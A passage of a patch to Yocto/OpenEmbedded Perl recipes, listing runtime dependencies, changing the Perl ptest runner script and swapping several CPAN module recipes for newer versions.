+RDEPENDS:perl-module-test-builder += "perl-module-warnings"
+RDEPENDS:perl-module-test-builder-tester-color += "perl-module-strict"
+RDEPENDS:perl-module-test-builder-tester-color += "perl-module-test-builder-tester"
+RDEPENDS:perl-module-test-builder-tester += "perl-module-exporter"
+RDEPENDS:perl-module-test-builder-tester += "perl-module-strict"
+RDEPENDS:perl-module-test-builder-tester += "perl-module-test-builder"
+RDEPENDS:perl-module-test-builder-tododiag += "perl-module-strict"
+RDEPENDS:perl-module-test-builder-tododiag += "perl-module-warnings"
+RDEPENDS:perl-module-test-harness += "perl-module-base"
+RDEPENDS:perl-module-test-harness += "perl-module-config"
+RDEPENDS:perl-module-test-harness += "perl-module-constant"
+RDEPENDS:perl-module-test-harness += "perl-module-strict"
+RDEPENDS:perl-module-test-harness += "perl-module-tap-harness"
+RDEPENDS:perl-module-test-harness += "perl-module-tap-parser-aggregator"
+RDEPENDS:perl-module-test-harness += "perl-module-tap-parser-source"
+RDEPENDS:perl-module-test-harness += "perl-module-tap-parser-sourcehandler-perl"
+RDEPENDS:perl-module-test-harness += "perl-module-text-parsewords"
+RDEPENDS:perl-module-test-harness += "perl-module-warnings"
+RDEPENDS:perl-module-test-more += "perl-module-strict"
+RDEPENDS:perl-module-test-more += "perl-module-test-builder-module"
+RDEPENDS:perl-module-test-more += "perl-module-warnings"
+RDEPENDS:perl-module-test += "perl-module-exporter"
+RDEPENDS:perl-module-test += "perl-module-file-temp"
+RDEPENDS:perl-module-test += "perl-module-strict"
+RDEPENDS:perl-module-test-simple += "perl-module-strict"
+RDEPENDS:perl-module-test-simple += "perl-module-test-builder-module"
+RDEPENDS:perl-module-test-tester-capture += "perl-module-config"
+RDEPENDS:perl-module-test-tester-capture += "perl-module-strict"
+RDEPENDS:perl-module-test-tester-capture += "perl-module-test-builder"
+RDEPENDS:perl-module-test-tester-capture += "perl-module-vars"
+RDEPENDS:perl-module-test-tester-capturerunner += "perl-module-exporter"
+RDEPENDS:perl-module-test-tester-capturerunner += "perl-module-strict"
+RDEPENDS:perl-module-test-tester-capturerunner += "perl-module-test-tester-capture"
+RDEPENDS:perl-module-test-tester-delegate += "perl-module-strict"
+RDEPENDS:perl-module-test-tester-delegate += "perl-module-vars"
+RDEPENDS:perl-module-test-tester-delegate += "perl-module-warnings"
+RDEPENDS:perl-module-test-tester += "perl-module-exporter"
+RDEPENDS:perl-module-test-tester += "perl-module-strict"
+RDEPENDS:perl-module-test-tester += "perl-module-test-builder"
+RDEPENDS:perl-module-test-tester += "perl-module-test-tester-capturerunner"
+RDEPENDS:perl-module-test-tester += "perl-module-test-tester-delegate"
+RDEPENDS:perl-module-test-tester += "perl-module-vars"
+RDEPENDS:perl-module-text-abbrev += "perl-module-exporter"
+RDEPENDS:perl-module-text-balanced += "perl-module-exporter"
+RDEPENDS:perl-module-text-balanced += "perl-module-overload"
+RDEPENDS:perl-module-text-balanced += "perl-module-strict"
+RDEPENDS:perl-module-text-balanced += "perl-module-vars"
+RDEPENDS:perl-module-text-parsewords += "perl-module-exporter"
+RDEPENDS:perl-module-text-parsewords += "perl-module-strict"
+RDEPENDS:perl-module-text-parsewords += "perl-module-warnings"
+RDEPENDS:perl-module-text-tabs += "perl-module-strict"
+RDEPENDS:perl-module-text-wrap += "perl-module-re"
+RDEPENDS:perl-module-text-wrap += "perl-module-strict"
+RDEPENDS:perl-module-text-wrap += "perl-module-text-tabs"
+RDEPENDS:perl-module-text-wrap += "perl-module-warnings-register"
+RDEPENDS:perl-module-thread += "perl-module-config"
+RDEPENDS:perl-module-thread += "perl-module-exporter"
+RDEPENDS:perl-module-thread += "perl-module-strict"
+RDEPENDS:perl-module-thread += "perl-module-threads"
+RDEPENDS:perl-module-thread += "perl-module-threads-shared"
+RDEPENDS:perl-module-thread += "perl-module-warnings"
+RDEPENDS:perl-module-thread-queue += "perl-module-strict"
+RDEPENDS:perl-module-thread-queue += "perl-module-threads-shared"
+RDEPENDS:perl-module-thread-queue += "perl-module-warnings"
+RDEPENDS:perl-module-thread-semaphore += "perl-module-strict"
+RDEPENDS:perl-module-thread-semaphore += "perl-module-threads-shared"
+RDEPENDS:perl-module-thread-semaphore += "perl-module-warnings"
+RDEPENDS:perl-module-threads += "perl-module-config"
+RDEPENDS:perl-module-threads += "perl-module-overload"
+RDEPENDS:perl-module-threads += "perl-module-strict"
+RDEPENDS:perl-module-threads += "perl-module-warnings"
+RDEPENDS:perl-module-threads += "perl-module-xsloader"
+RDEPENDS:perl-module-threads-shared += "perl-module-config"
+RDEPENDS:perl-module-threads-shared += "perl-module-strict"
+RDEPENDS:perl-module-threads-shared += "perl-module-warnings"
+RDEPENDS:perl-module-threads-shared += "perl-module-xsloader"
+RDEPENDS:perl-module-tie-array += "perl-module-strict"
+RDEPENDS:perl-module-tie-file += "perl-module-fcntl"
+RDEPENDS:perl-module-tie-file += "perl-module-posix"
+RDEPENDS:perl-module-tie-file += "perl-module-strict"
+RDEPENDS:perl-module-tie-file += "perl-module-warnings"
+RDEPENDS:perl-module-tie-handle += "perl-module-tie-stdhandle"
+RDEPENDS:perl-module-tie-handle += "perl-module-warnings-register"
+RDEPENDS:perl-module-tie-hash-namedcapture += "perl-module-strict"
+RDEPENDS:perl-module-tie-hash += "perl-module-warnings-register"
+RDEPENDS:perl-module-tie-memoize += "perl-module-strict"
+RDEPENDS:perl-module-tie-memoize += "perl-module-tie-hash"
+RDEPENDS:perl-module-tie-refhash += "perl-module-config"
+RDEPENDS:perl-module-tie-refhash += "perl-module-overload"
+RDEPENDS:perl-module-tie-refhash += "perl-module-strict"
+RDEPENDS:perl-module-tie-refhash += "perl-module-tie-hash"
+RDEPENDS:perl-module-tie-scalar += "perl-module-warnings-register"
+RDEPENDS:perl-module-tie-stdhandle += "perl-module-strict"
+RDEPENDS:perl-module-tie-stdhandle += "perl-module-tie-handle"
+RDEPENDS:perl-module-tie-substrhash += "perl-module-integer"
+RDEPENDS:perl-module-tie-substrhash += "perl-module-strict"
+RDEPENDS:perl-module-tie-substrhash += "perl-module-warnings"
+RDEPENDS:perl-module-time-gmtime += "perl-module-exporter"
+RDEPENDS:perl-module-time-gmtime += "perl-module-strict"
+RDEPENDS:perl-module-time-gmtime += "perl-module-time-tm"
+RDEPENDS:perl-module-time-hires += "perl-module-exporter"
+RDEPENDS:perl-module-time-hires += "perl-module-strict"
+RDEPENDS:perl-module-time-hires += "perl-module-xsloader"
+RDEPENDS:perl-module-time-local += "perl-module-config"
+RDEPENDS:perl-module-time-local += "perl-module-constant"
+RDEPENDS:perl-module-time-local += "perl-module-exporter"
+RDEPENDS:perl-module-time-local += "perl-module-parent"
+RDEPENDS:perl-module-time-local += "perl-module-strict"
+RDEPENDS:perl-module-time-localtime += "perl-module-exporter"
+RDEPENDS:perl-module-time-localtime += "perl-module-strict"
+RDEPENDS:perl-module-time-localtime += "perl-module-time-tm"
+RDEPENDS:perl-module-time-piece += "perl-module-constant"
+RDEPENDS:perl-module-time-piece += "perl-module-exporter"
+RDEPENDS:perl-module-time-piece += "perl-module-integer"
+RDEPENDS:perl-module-time-piece += "perl-module-overload"
+RDEPENDS:perl-module-time-piece += "perl-module-strict"
+RDEPENDS:perl-module-time-piece += "perl-module-time-local"
+RDEPENDS:perl-module-time-piece += "perl-module-time-seconds"
+RDEPENDS:perl-module-time-piece += "perl-module-xsloader"
+RDEPENDS:perl-module-time-seconds += "perl-module-constant"
+RDEPENDS:perl-module-time-seconds += "perl-module-exporter"
+RDEPENDS:perl-module-time-seconds += "perl-module-overload"
+RDEPENDS:perl-module-time-seconds += "perl-module-strict"
+RDEPENDS:perl-module-time-tm += "perl-module-class-struct"
+RDEPENDS:perl-module-time-tm += "perl-module-strict"
+RDEPENDS:perl-module-unicode-collate-cjk-big5 += "perl-module-strict"
+RDEPENDS:perl-module-unicode-collate-cjk-big5 += "perl-module-warnings"
+RDEPENDS:perl-module-unicode-collate-cjk-gb2312 += "perl-module-strict"
+RDEPENDS:perl-module-unicode-collate-cjk-gb2312 += "perl-module-warnings"
+RDEPENDS:perl-module-unicode-collate-cjk-jisx0208 += "perl-module-strict"
+RDEPENDS:perl-module-unicode-collate-cjk-jisx0208 += "perl-module-warnings"
+RDEPENDS:perl-module-unicode-collate-cjk-korean += "perl-module-strict"
+RDEPENDS:perl-module-unicode-collate-cjk-korean += "perl-module-warnings"
+RDEPENDS:perl-module-unicode-collate-cjk-pinyin += "perl-module-strict"
+RDEPENDS:perl-module-unicode-collate-cjk-pinyin += "perl-module-warnings"
+RDEPENDS:perl-module-unicode-collate-cjk-stroke += "perl-module-strict"
+RDEPENDS:perl-module-unicode-collate-cjk-stroke += "perl-module-warnings"
+RDEPENDS:perl-module-unicode-collate-cjk-zhuyin += "perl-module-strict"
+RDEPENDS:perl-module-unicode-collate-cjk-zhuyin += "perl-module-warnings"
+RDEPENDS:perl-module-unicode-collate-locale += "perl-module-base"
+RDEPENDS:perl-module-unicode-collate-locale += "perl-module-strict"
+RDEPENDS:perl-module-unicode-collate-locale += "perl-module-warnings"
+RDEPENDS:perl-module-unicode-collate += "perl-module-constant"
+RDEPENDS:perl-module-unicode-collate += "perl-module-strict"
+RDEPENDS:perl-module-unicode-collate += "perl-module-warnings"
+RDEPENDS:perl-module-unicode-collate += "perl-module-xsloader"
+RDEPENDS:perl-module-unicode-normalize += "perl-module-bytes"
+RDEPENDS:perl-module-unicode-normalize += "perl-module-exporter"
+RDEPENDS:perl-module-unicode-normalize += "perl-module-strict"
+RDEPENDS:perl-module-unicode-normalize += "perl-module-warnings"
+RDEPENDS:perl-module-unicode-normalize += "perl-module-xsloader"
+RDEPENDS:perl-module-unicode-ucd += "perl-module-charnames"
+RDEPENDS:perl-module-unicode-ucd += "perl-module-exporter"
+RDEPENDS:perl-module-unicode-ucd += "perl-module-feature"
+RDEPENDS:perl-module-unicode-ucd += "perl-module-if"
+RDEPENDS:perl-module-unicode-ucd += "perl-module-integer"
+RDEPENDS:perl-module-unicode-ucd += "perl-module-re"
+RDEPENDS:perl-module-unicode-ucd += "perl-module-strict"
+RDEPENDS:perl-module-unicode-ucd += "perl-module-unicode-normalize"
+RDEPENDS:perl-module-unicode-ucd += "perl-module-warnings"
+RDEPENDS:perl-module-user-grent += "perl-module-class-struct"
+RDEPENDS:perl-module-user-grent += "perl-module-exporter"
+RDEPENDS:perl-module-user-grent += "perl-module-strict"
+RDEPENDS:perl-module-user-pwent += "perl-module-class-struct"
+RDEPENDS:perl-module-user-pwent += "perl-module-config"
+RDEPENDS:perl-module-user-pwent += "perl-module-exporter"
+RDEPENDS:perl-module-user-pwent += "perl-module-strict"
+RDEPENDS:perl-module-user-pwent += "perl-module-warnings"
+RDEPENDS:perl-module-utf8 += "perl-module-strict"
+RDEPENDS:perl-module-utf8 += "perl-module-warnings"
+RDEPENDS:perl-module-version += "perl-module-strict"
+RDEPENDS:perl-module-version += "perl-module-version-regex"
+RDEPENDS:perl-module-version += "perl-module-warnings-register"
+RDEPENDS:perl-module-version-regex += "perl-module-strict"
+RDEPENDS:perl-module-xsloader += "perl-module-dynaloader"
+RDEPENDS:perl-module-xsloader += "perl-module-strict"
diff --git a/meta/recipes-devtools/perl/files/run-ptest b/meta/recipes-devtools/perl/files/run-ptest
index dad4d42916..0547f818b2 100644
--- a/meta/recipes-devtools/perl/files/run-ptest
+++ b/meta/recipes-devtools/perl/files/run-ptest
@@ -1,2 +1,2 @@
#!/bin/sh
-cd t && PERL_BUILD_PACKAGING=1 ./TEST | sed -u -e 's|\(.*\) .* ok$|PASS: \1|' -e 's|\(.*\) .* skipped|SKIP: \1|' -e 's|\(.*\) \.\(.*\)|FAIL: \1|'
+{ cd t && PERL_BUILD_PACKAGING=1 ./TEST || echo "FAIL: perl" ; } | sed -u -e 's|\(.*\) .* ok$|PASS: \1|' -e 's|\(.*\) .* skipped|SKIP: \1|' -e 's|\(.*\) \.\(.*\)|FAIL: \1|'
diff --git a/meta/recipes-devtools/perl/liberror-perl_0.17029.bb b/meta/recipes-devtools/perl/liberror-perl_0.17029.bb
deleted file mode 100644
index 038808f0cd..0000000000
--- a/meta/recipes-devtools/perl/liberror-perl_0.17029.bb
+++ /dev/null
@@ -1,47 +0,0 @@
-SUMMARY = "Error - Error/exception handling in an OO-ish way"
-DESCRIPTION = "The Error package provides two interfaces. Firstly \
-Error provides a procedural interface to exception handling. \
-Secondly Error is a base class for errors/exceptions that can \
-either be thrown, for subsequent catch, or can simply be recorded."
-HOMEPAGE = "https://github.com/shlomif/perl-error.pm"
-SECTION = "libs"
-LICENSE = "Artistic-1.0 | GPL-1.0+"
-
-LIC_FILES_CHKSUM = "file://LICENSE;md5=8f3499d09ee74a050c0319391ff9d100"
-
-DEPENDS += "perl"
-
-RDEPENDS_${PN} += " \
- perl-module-carp \
- perl-module-exporter \
- perl-module-scalar-util \
- perl-module-overload \
- perl-module-strict \
- perl-module-vars \
- perl-module-warnings \
-"
-
-RDEPENDS_${PN}-ptest += " \
- perl-module-base \
- perl-module-file-spec \
- perl-module-io-handle \
- perl-module-ipc-open3 \
- perl-module-lib \
- perl-module-test-more \
-"
-
-SRC_URI = "http://cpan.metacpan.org/authors/id/S/SH/SHLOMIF/Error-${PV}.tar.gz"
-
-SRC_URI[md5sum] = "6732b1c6207e4a9a3e2987c88368039a"
-SRC_URI[sha256sum] = "1a23f7913032aed6d4b68321373a3899ca66590f4727391a091ec19c95bf7adc"
-
-S = "${WORKDIR}/Error-${PV}"
-
-inherit cpan ptest-perl
-
-do_install_prepend() {
- # test requires "-T" (taint) command line option
- rm -rf ${B}/t/pod-coverage.t
-}
-
-BBCLASSEXTEND = "native"
diff --git a/meta/recipes-devtools/perl/libmodule-build-perl_0.4231.bb b/meta/recipes-devtools/perl/libmodule-build-perl_0.4231.bb
deleted file mode 100644
index a6fd7b1c07..0000000000
--- a/meta/recipes-devtools/perl/libmodule-build-perl_0.4231.bb
+++ /dev/null
@@ -1,123 +0,0 @@
-SUMMARY = "Module::Build - Build and install Perl modules"
-DESCRIPTION = "Many Perl distributions use a Build.PL file instead of a \
-Makefile.PL file to drive distribution configuration, build, test and \
-installation. Traditionally, Build.PL uses Module::Build as the underlying \
-build system. This module provides a simple, lightweight, drop-in replacement. \
-Whereas Module::Build has over 6,700 lines of code; this module has less than \
-120, yet supports the features needed by most distributions."
-
-SECTION = "libs"
-
-HOMEPAGE = "https://metacpan.org/release/Module-Build"
-
-LICENSE = "Artistic-1.0 | GPL-1.0+"
-LIC_FILES_CHKSUM = "file://README;beginline=949;endline=954;md5=624c06db56a2af4d70cf9edc29fcae1b"
-
-SRC_URI = "${CPAN_MIRROR}/authors/id/L/LE/LEONT/Module-Build-${PV}.tar.gz \
- file://run-ptest \
- "
-SRC_URI[md5sum] = "066b193e461d7dfe1eca17a139353001"
-SRC_URI[sha256sum] = "7e0f4c692c1740c1ac84ea14d7ea3d8bc798b2fb26c09877229e04f430b2b717"
-
-S = "${WORKDIR}/Module-Build-${PV}"
-
-inherit cpan_build ptest-perl
-
-# From:
-# https://github.com/rehsack/meta-cpan/blob/master/recipes-devel/module-build-perl/module-build-perl_0.4216.bb
-#
-do_patch_module_build () {
- cd ${S}
- sed -i -e 's,my $interpreter = $self->{properties}{perl};,my $interpreter = "${bindir}/perl";,g' lib/Module/Build/Base.pm
-}
-
-do_patch[postfuncs] += "do_patch_module_build"
-
-EXTRA_CPAN_BUILD_FLAGS = "--create_packlist=0"
-
-do_install_append () {
- rm -rf ${D}${docdir}/perl/html
-}
-
-do_install_ptest() {
- cp -r ${B}/inc ${D}${PTEST_PATH}
- cp -r ${B}/blib ${D}${PTEST_PATH}
- cp -r ${B}/_build ${D}${PTEST_PATH}
- cp -r ${B}/lib ${D}${PTEST_PATH}
- chown -R root:root ${D}${PTEST_PATH}
- sed -i -e "s,'perl' => .*,'perl' => '/usr/bin/perl'\,,g" \
- -e "s,${STAGING_BINDIR_NATIVE}/perl-native/\.\.,${bindir}/,g" \
- -e "s,${S},,g" \
- -e "s,${D},,g" \
- ${D}${PTEST_PATH}/_build/build_params \
- ${D}${PTEST_PATH}/_build/runtime_params
- rm -rf ${D}${PTEST_PATH}/blib/libhtml/site/lib/Module/
- rm -rf ${D}${PTEST_PATH}/_build/magicnum
-}
-
-RDEPENDS_${PN} += " \
- perl-module-carp \
- perl-module-cpan \
- perl-module-config \
- perl-module-cwd \
- perl-module-data-dumper \
- perl-module-encode \
- perl-module-extutils-cbuilder \
- perl-module-extutils-command \
- perl-module-extutils-install \
- perl-module-extutils-installed \
- perl-module-extutils-mkbootstrap \
- perl-module-extutils-packlist \
- perl-module-extutils-parsexs \
- perl-module-file-basename \
- perl-module-file-compare \
- perl-module-file-copy \
- perl-module-file-find \
- perl-module-file-glob \
- perl-module-file-path \
- perl-module-file-spec \
- perl-module-file-spec-functions \
- perl-module-getopt-long \
- perl-module-metadata \
- perl-module-perl-ostype \
- perl-module-pod-man \
- perl-module-tap-harness \
- perl-module-text-abbrev \
- perl-module-text-parsewords \
- perl-module-utf8 \
-"
-
-RDEPENDS_${PN}-ptest += " \
- packagegroup-core-buildessential \
- perl-dev \
- perl-module-blib \
- perl-module-extutils-command-mm \
- perl-module-file-temp \
- perl-module-lib \
- perl-module-perlio \
- perl-module-perlio-encoding \
- perl-module-pod-text \
- perl-module-tap-harness-env \
- perl-module-tap-parser \
- perl-module-tap-parser-scheduler \
- perl-module-test-harness \
- perl-module-test-more \
-"
-
-RPROVIDES_${PN} += "\
- libmodule-build-base-perl \
- libmodule-build-compat-perl \
- libmodule-build-config-perl \
- libmodule-build-cookbook-perl \
- libmodule-build-dumper-perl \
- libmodule-build-notes-perl \
- libmodule-build-ppmaker-perl \
- libmodule-build-platform-default-perl \
- libmodule-build-platform-unix-perl \
- libmodule-build-podparser-perl \
-"
-
-# t/xs.t RDEPENDS on "EXTERN.h" provided by perl-dev
-INSANE_SKIP_${PN}-ptest = "dev-deps"
-
-BBCLASSEXTEND = "native"
diff --git a/meta/recipes-devtools/perl/libmodule-build-perl_0.4234.bb b/meta/recipes-devtools/perl/libmodule-build-perl_0.4234.bb
new file mode 100644
index 0000000000..b57618724d
--- /dev/null
+++ b/meta/recipes-devtools/perl/libmodule-build-perl_0.4234.bb
@@ -0,0 +1,138 @@
+SUMMARY = "Module::Build - Build and install Perl modules"
+DESCRIPTION = "Many Perl distributions use a Build.PL file instead of a \
+Makefile.PL file to drive distribution configuration, build, test and \
+installation. Traditionally, Build.PL uses Module::Build as the underlying \
+build system. This module provides a simple, lightweight, drop-in replacement. \
+Whereas Module::Build has over 6,700 lines of code; this module has less than \
+120, yet supports the features needed by most distributions."
+
+SECTION = "libs"
+
+HOMEPAGE = "https://metacpan.org/release/Module-Build"
+
+LICENSE = "Artistic-1.0 | GPL-1.0-or-later"
+LIC_FILES_CHKSUM = "file://README;beginline=881;endline=886;md5=3027f56c664545e54678c26b7f1ac19c"
+
+SRC_URI = "${CPAN_MIRROR}/authors/id/L/LE/LEONT/Module-Build-${PV}.tar.gz \
+ file://run-ptest \
+ "
+SRC_URI[sha256sum] = "66aeac6127418be5e471ead3744648c766bd01482825c5b66652675f2bc86a8f"
+
+S = "${WORKDIR}/Module-Build-${PV}"
+
+inherit cpan_build ptest-perl
+
+# From:
+# https://github.com/rehsack/meta-cpan/blob/master/recipes-devel/module-build-perl/module-build-perl_0.4216.bb
+#
+do_patch_module_build () {
+ cd ${S}
+ sed -i -e 's,my $interpreter = $self->{properties}{perl};,my $interpreter = "${bindir}/perl";,g' lib/Module/Build/Base.pm
+}
+
+do_patch[postfuncs] += "do_patch_module_build"
+
+EXTRA_CPAN_BUILD_FLAGS = "--create_packlist=0"
+
+do_install:prepend () {
+ # We do not have a recipe for libpod-parser-perl which is for
+ # documentation (and is deprecated in favor of Pod::Simple)
+ rm -rf ${B}/t/pod_parser.t
+}
+
+do_install:append () {
+ rm -rf ${D}${docdir}/perl/html
+ sed -i "s:^#!.*:#!/usr/bin/env perl:" ${D}${bindir}/config_data
+}
+
+do_install_ptest() {
+ cp -r ${B}/inc ${D}${PTEST_PATH}
+ cp -r ${B}/blib ${D}${PTEST_PATH}
+ cp -r ${B}/_build ${D}${PTEST_PATH}
+ cp -r ${B}/lib ${D}${PTEST_PATH}
+ chown -R root:root ${D}${PTEST_PATH}
+ sed -i -e "s,'perl' => .*,'perl' => '/usr/bin/perl'\,,g" \
+ -e "s,${STAGING_BINDIR_NATIVE}/perl-native/\.\.,${bindir}/,g" \
+ -e "s,${S},,g" \
+ -e "s,${D},,g" \
+ ${D}${PTEST_PATH}/_build/build_params \
+ ${D}${PTEST_PATH}/_build/runtime_params
+ rm -rf ${D}${PTEST_PATH}/blib/libhtml/site/lib/Module/
+ rm -rf ${D}${PTEST_PATH}/_build/magicnum
+}
+
+RDEPENDS:${PN} += " \
+ perl-module-carp \
+ perl-module-cpan \
+ perl-module-config \
+ perl-module-cwd \
+ perl-module-data-dumper \
+ perl-module-encode \
+ perl-module-extutils-cbuilder \
+ perl-module-extutils-command \
+ perl-module-extutils-install \
+ perl-module-extutils-installed \
+ perl-module-extutils-mkbootstrap \
+ perl-module-extutils-packlist \
+ perl-module-extutils-parsexs \
+ perl-module-file-basename \
+ perl-module-file-compare \
+ perl-module-file-copy \
+ perl-module-file-find \
+ perl-module-file-glob \
+ perl-module-file-path \
+ perl-module-file-spec \
+ perl-module-file-spec-functions \
+ perl-module-getopt-long \
+ perl-module-metadata \
+ perl-module-perl-ostype \
+ perl-module-pod-man \
+ perl-module-tap-harness \
+ perl-module-text-abbrev \
+ perl-module-text-parsewords \
+ perl-module-utf8 \
+"
+
+RDEPENDS:${PN}-ptest += " \
+ packagegroup-core-buildessential \
+ perl-dev \
+ perl-module-blib \
+ perl-module-encode-encoding \
+ perl-module-extutils-cbuilder-base \
+ perl-module-extutils-command-mm \
+ perl-module-extutils-mm-unix \
+ perl-module-file-temp \
+ perl-module-lib \
+ perl-module-parse-cpan-meta \
+ perl-module-perlio \
+ perl-module-perlio-encoding \
+ perl-module-pod-simple-transcodesmart \
+ perl-module-pod-text \
+ perl-module-tap-base \
+ perl-module-tap-formatter-base \
+ perl-module-tap-formatter-file \
+ perl-module-tap-formatter-session \
+ perl-module-tap-harness-env \
+ perl-module-tap-parser \
+ perl-module-tap-parser-scheduler \
+ perl-module-test-harness \
+ perl-module-test-more \
+"
+
+RPROVIDES:${PN} += "\
+ libmodule-build-base-perl \
+ libmodule-build-compat-perl \
+ libmodule-build-config-perl \
+ libmodule-build-cookbook-perl \
+ libmodule-build-dumper-perl \
+ libmodule-build-notes-perl \
+ libmodule-build-ppmaker-perl \
+ libmodule-build-platform-default-perl \
+ libmodule-build-platform-unix-perl \
+ libmodule-build-podparser-perl \
+"
+
+# t/xs.t RDEPENDS on "EXTERN.h" provided by perl-dev
+INSANE_SKIP:${PN}-ptest = "dev-deps"
+
+BBCLASSEXTEND = "native"
diff --git a/meta/recipes-devtools/perl/libtest-fatal-perl_0.017.bb b/meta/recipes-devtools/perl/libtest-fatal-perl_0.017.bb
new file mode 100644
index 0000000000..1c3a7e5136
--- /dev/null
+++ b/meta/recipes-devtools/perl/libtest-fatal-perl_0.017.bb
@@ -0,0 +1,36 @@
+SUMMARY = "Incredibly simple helpers for testing code with exceptions"
+DESCRIPTION = "Test::Fatal is an alternative to the popular Test::Exception.\
+It does much less, but should allow greater flexibility in testing \
+exception-throwing code with about the same amount of typing."
+HOMEPAGE = "https://github.com/rjbs/Test-Fatal"
+BUGTRACKER = "https://github.com/rjbs/Test-Fatal/issues"
+SECTION = "libs"
+LICENSE = "Artistic-1.0 | GPL-1.0-or-later"
+
+LIC_FILES_CHKSUM = "file://LICENSE;md5=b5c851290cab1dda12fcfb0e9ec43639"
+
+SRC_URI = "${CPAN_MIRROR}/authors/id/R/RJ/RJBS/Test-Fatal-${PV}.tar.gz"
+
+SRC_URI[sha256sum] = "37dfffdafb84b762efe96b02fb2aa41f37026c73e6b83590db76229697f3c4a6"
+
+S = "${WORKDIR}/Test-Fatal-${PV}"
+
+inherit cpan ptest-perl
+
+RDEPENDS:${PN} += "\
+ libtry-tiny-perl \
+ perl-module-carp \
+ perl-module-exporter \
+ perl-module-test-builder \
+"
+
+RDEPENDS:${PN}-ptest += "\
+ perl-module-extutils-makemaker \
+ perl-module-extutils-mm-unix \
+ perl-module-file-spec \
+ perl-module-overload \
+ perl-module-test-builder-tester \
+ perl-module-test-more \
+"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/perl/libtest-needs-perl_0.002006.bb b/meta/recipes-devtools/perl/libtest-needs-perl_0.002006.bb
deleted file mode 100644
index c44ee6340c..0000000000
--- a/meta/recipes-devtools/perl/libtest-needs-perl_0.002006.bb
+++ /dev/null
@@ -1,29 +0,0 @@
-SUMMARY = "Skip tests when modules not available"
-DESCRIPTION = "Skip test scripts if modules are not available. \
-The requested modules will be loaded, and optionally have their versions \
-checked. If the module is missing, the test script will be skipped. Modules \
-that are found but fail to compile will exit with an error rather than skip."
-
-HOMEPAGE = "https://metacpan.org/release/Test-Needs"
-SECTION = "libs"
-LICENSE = "Artistic-1.0 | GPL-1.0+"
-
-CPAN_NAME = "Test-Needs"
-CPAN_AUTHOR = "HAARG"
-
-LIC_FILES_CHKSUM = "file://README;md5=3f3ccd21a0a48aa313db212cc3b1bc09;beginline=88;endline=89"
-
-DEPENDS += "perl"
-
-SRC_URI = "https://cpan.metacpan.org/authors/id/H/HA/${CPAN_AUTHOR}/${CPAN_NAME}-${PV}.tar.gz"
-
-SRC_URI[md5sum] = "d5c96d51d8d5510f7c0b7f354c49af1c"
-SRC_URI[sha256sum] = "77f9fff0c96c5e09f34d0416b3533c3319f7cd0bb1f7fe8f8072ad59f433f0e5"
-
-S = "${WORKDIR}/${CPAN_NAME}-${PV}"
-
-inherit cpan ptest-perl
-
-RDEPENDS_${PN}-ptest += "perl-module-test-more perl-module-ipc-open3 perl-module-lib perl-module-version"
-
-BBCLASSEXTEND = "native"
diff --git a/meta/recipes-devtools/perl/libtest-needs-perl_0.002010.bb b/meta/recipes-devtools/perl/libtest-needs-perl_0.002010.bb
new file mode 100644
index 0000000000..79a06170e0
--- /dev/null
+++ b/meta/recipes-devtools/perl/libtest-needs-perl_0.002010.bb
@@ -0,0 +1,28 @@
+SUMMARY = "Skip tests when modules not available"
+DESCRIPTION = "Skip test scripts if modules are not available. \
+The requested modules will be loaded, and optionally have their versions \
+checked. If the module is missing, the test script will be skipped. Modules \
+that are found but fail to compile will exit with an error rather than skip."
+
+HOMEPAGE = "https://metacpan.org/release/Test-Needs"
+SECTION = "libs"
+LICENSE = "Artistic-1.0 | GPL-1.0-or-later"
+
+CPAN_NAME = "Test-Needs"
+CPAN_AUTHOR = "HAARG"
+
+LIC_FILES_CHKSUM = "file://README;md5=3f3ccd21a0a48aa313db212cc3b1bc09;beginline=88;endline=89"
+
+DEPENDS += "perl"
+
+SRC_URI = "https://cpan.metacpan.org/authors/id/H/HA/${CPAN_AUTHOR}/${CPAN_NAME}-${PV}.tar.gz"
+
+SRC_URI[sha256sum] = "923ffdc78fcba96609753e4bae26b0ba0186893de4a63cd5236e012c7c90e208"
+
+S = "${WORKDIR}/${CPAN_NAME}-${PV}"
+
+inherit cpan ptest-perl
+
+RDEPENDS:${PN}-ptest += "perl-module-test-more perl-module-ipc-open3 perl-module-lib perl-module-version"
+
+BBCLASSEXTEND = "native"
diff --git a/meta/recipes-devtools/perl/libtest-warnings-perl_0.033.bb b/meta/recipes-devtools/perl/libtest-warnings-perl_0.033.bb
new file mode 100644
index 0000000000..17b4cc3c9e
--- /dev/null
+++ b/meta/recipes-devtools/perl/libtest-warnings-perl_0.033.bb
@@ -0,0 +1,36 @@
+SUMMARY = "Test::Warnings - Test for warnings and the lack of them"
+DESCRIPTION = "If you've ever tried to use Test::NoWarnings to confirm there are no \
+warnings generated by your tests, combined with the convenience of \
+\\"done_testing\\" to not have to declare a test count, you'll have discovered \
+that these two features do not play well together, as the test count will \
+be calculated *before* the warnings test is run, resulting in a TAP error. \
+(See "examples/test_nowarnings.pl" in this distribution for a \
+demonstration.)"
+HOMEPAGE = "https://github.com/karenetheridge/Test-Warnings"
+BUGTRACKER = "https://rt.cpan.org/Public/Dist/Display.html?Name=Test-Warnings"
+SECTION = "libs"
+LICENSE = "Artistic-1.0-Perl | GPL-1.0-or-later"
+
+LIC_FILES_CHKSUM = "file://LICENCE;md5=f98106ac3cc05d9cbebcdb8fbf7b7815"
+
+SRC_URI = "${CPAN_MIRROR}/authors/id/E/ET/ETHER/Test-Warnings-${PV}.tar.gz"
+
+SRC_URI[sha256sum] = "b9c375719f2c61c5f97aa5ee6cf4c901a972347c415969379b0b51f67c48bbcb"
+
+S = "${WORKDIR}/Test-Warnings-${PV}"
+
+inherit cpan ptest-perl
+
+RDEPENDS:${PN} += "\
+ perl-module-test-builder \
+"
+
+# Many hidden dependencies and mysterious failures occur without full perl-modules
+RDEPENDS:${PN}-ptest += "perl-modules"
+
+do_install_ptest_perl:append () {
+ cp -r ${B}/t/lib ${D}${PTEST_PATH}/t/
+ chown -R root:root ${D}${PTEST_PATH}/t/lib
+}
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/perl/libtry-tiny-perl_0.31.bb b/meta/recipes-devtools/perl/libtry-tiny-perl_0.31.bb
new file mode 100644
index 0000000000..a3728d8435
--- /dev/null
+++ b/meta/recipes-devtools/perl/libtry-tiny-perl_0.31.bb
@@ -0,0 +1,36 @@
+SUMMARY = "Try::Tiny - Minimal try/catch with proper preservation of $@"
+DESCRIPTION = "This module provides bare bones try/catch/finally statements \
+that are designed to minimize common mistakes with eval blocks, and NOTHING \
+else."
